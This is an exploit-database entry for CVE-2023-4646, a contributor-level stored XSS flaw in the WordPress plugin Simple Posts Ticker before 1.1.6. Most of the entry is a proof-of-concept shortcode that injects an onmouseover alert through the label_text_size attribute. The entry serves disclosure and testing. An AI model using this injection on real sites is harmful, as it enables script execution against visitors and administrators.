Exploit for Simple Posts Ticker < 1.1.6 - Contributor+ Stored XSS CVE-2023-4646

Name: Exploit for Simple Posts Ticker < 1.1.6 - Contributor+ Stored XSS CVE-2023-4646
Rating: 5 (53 reviews)

2023-09-25 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:C34F8DCC-3BE6-44AD-91A4-7C3A0CE2F9D7
Add a post with the shortcode: 

`[spt-posts-ticker label_text_size='" onmouseover="alert(/XSS/)"' label_text="123123"]`

View the shortcode and move your mouse over the string `123123` to see the XSS.